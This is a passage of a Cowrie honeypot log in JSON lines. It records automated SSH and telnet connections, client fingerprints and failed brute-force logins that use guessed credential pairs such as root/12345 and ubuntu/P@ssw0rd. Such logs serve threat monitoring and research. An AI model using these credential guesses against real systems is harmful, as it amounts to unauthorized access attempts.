lman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:13:26.859567Z","src_ip":"194.59.206.2","session":"2e62fecaa762","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:13:26.976650Z","src_ip":"194.59.206.2","session":"2e62fecaa762","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":60464,"dst_ip":"10.17.0.5","dst_port":22,"session":"fe638aebf2a4","protocol":"ssh","message":"New connection: 8.218.166.49:60464 (10.17.0.5:22) [session: fe638aebf2a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:13:27.963914Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:13:27.968625Z","src_ip":"8.218.166.49","session":"fe638aebf2a4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":54782,"dst_ip":"10.17.0.5","dst_port":22,"session":"2a8ada8d6df5","protocol":"ssh","message":"New connection: 8.218.166.49:54782 (10.17.0.5:22) [session: 2a8ada8d6df5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:13:35.984221Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:13:35.989015Z","src_ip":"8.218.166.49","session":"2a8ada8d6df5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":54788,"dst_ip":"10.17.0.5","dst_port":22,"session":"3c8a67bdde92","protocol":"ssh","message":"New connection: 8.218.166.49:54788 (10.17.0.5:22) [session: 3c8a67bdde92]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:13:43.238702Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:13:43.243204Z","src_ip":"8.218.166.49","session":"3c8a67bdde92","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:13:51.857547Z","src_ip":"47.86.95.62","session":"397c335ee607","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":58026,"dst_ip":"10.17.0.5","dst_port":22,"session":"032c1c551bf8","protocol":"ssh","message":"New connection: 8.218.166.49:58026 (10.17.0.5:22) [session: 032c1c551bf8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:13:54.226423Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:13:54.230927Z","src_ip":"8.218.166.49","session":"032c1c551bf8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":39920,"dst_ip":"159.203.135.109","dst_port":22,"session":"0e16f461a7b9","protocol":"ssh","message":"New connection: 2.57.122.238:39920 (159.203.135.109:22) [session: 0e16f461a7b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:14:15.094286Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:14:15.098685Z","src_ip":"2.57.122.238","session":"0e16f461a7b9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:14:15.199309Z","src_ip":"2.57.122.238","session":"0e16f461a7b9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"solana","message":"login attempt [solana/solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:14:15.500097Z","src_ip":"2.57.122.238","session":"0e16f461a7b9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:14:16.602818Z","src_ip":"2.57.122.238","session":"0e16f461a7b9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":54852,"dst_ip":"10.17.0.5","dst_port":22,"session":"97f08f6ca27d","protocol":"ssh","message":"New connection: 8.218.166.49:54852 (10.17.0.5:22) [session: 97f08f6ca27d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:14:19.692103Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:14:21.866466Z","src_ip":"8.218.166.49","session":"97f08f6ca27d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:14:26.792682Z","src_ip":"8.218.166.49","session":"97f08f6ca27d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:14:34.794798Z","src_ip":"8.218.166.49","session":"032c1c551bf8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345","message":"login attempt [root/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:14:51.354106Z","src_ip":"8.218.166.49","session":"97f08f6ca27d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sysupdate","password":"123456","message":"login attempt [sysupdate/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:14:52.593659Z","src_ip":"47.86.95.62","session":"397c335ee607","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"102.7","message":"Connection lost after 102.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:14:59.666785Z","src_ip":"47.86.95.62","session":"397c335ee607","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:15:04.487183Z","src_ip":"8.218.166.49","session":"3c8a67bdde92","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:15:04.495059Z","src_ip":"8.218.166.49","session":"2a8ada8d6df5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":49790,"dst_ip":"10.17.0.5","dst_port":22,"session":"f5d2f2fdf4af","protocol":"ssh","message":"New connection: 47.86.95.62:49790 (10.17.0.5:22) [session: f5d2f2fdf4af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:15:14.188629Z"}
{"eventid":"cowrie.session.closed","duration":"61.0","message":"Connection lost after 61.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:15:20.651586Z","src_ip":"8.218.166.49","session":"97f08f6ca27d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:15:27.970079Z","src_ip":"8.218.166.49","session":"fe638aebf2a4","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:15:31.504401Z","src_ip":"47.86.95.62","session":"f5d2f2fdf4af","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:15:31.508307Z","src_ip":"47.86.95.62","session":"f5d2f2fdf4af","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:15:35.990754Z","src_ip":"8.218.166.49","session":"2a8ada8d6df5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:15:43.245815Z","src_ip":"8.218.166.49","session":"3c8a67bdde92","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.151.86.189","src_port":33204,"dst_ip":"10.17.0.5","dst_port":23,"session":"87237e9596e5","protocol":"telnet","message":"New connection: 185.151.86.189:33204 (10.17.0.5:23) [session: 87237e9596e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:15:53.243102Z"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:15:54.232357Z","src_ip":"8.218.166.49","session":"032c1c551bf8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":11.851897478103638,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:16:05.094895Z","src_ip":"185.151.86.189","session":"87237e9596e5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":55686,"dst_ip":"10.17.0.5","dst_port":22,"session":"9fa8ee03fd1b","protocol":"ssh","message":"New connection: 47.86.95.62:55686 (10.17.0.5:22) [session: 9fa8ee03fd1b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:16:09.690750Z"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"P@ssw0rd","message":"login attempt [ubuntu/P@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:16:15.431367Z","src_ip":"47.86.95.62","session":"f5d2f2fdf4af","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"63.0","message":"Connection lost after 63.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:16:17.157324Z","src_ip":"47.86.95.62","session":"f5d2f2fdf4af","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:16:21.854784Z","src_ip":"47.86.95.62","session":"9fa8ee03fd1b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:16:26.870288Z","src_ip":"47.86.95.62","session":"9fa8ee03fd1b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":32946,"dst_ip":"10.17.0.5","dst_port":22,"session":"052aa7cded89","protocol":"ssh","message":"New connection: 8.218.166.49:32946 (10.17.0.5:22) [session: 052aa7cded89]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:16:28.824637Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:16:29.721037Z","src_ip":"8.218.166.49","session":"052aa7cded89","protocol":"ssh"}
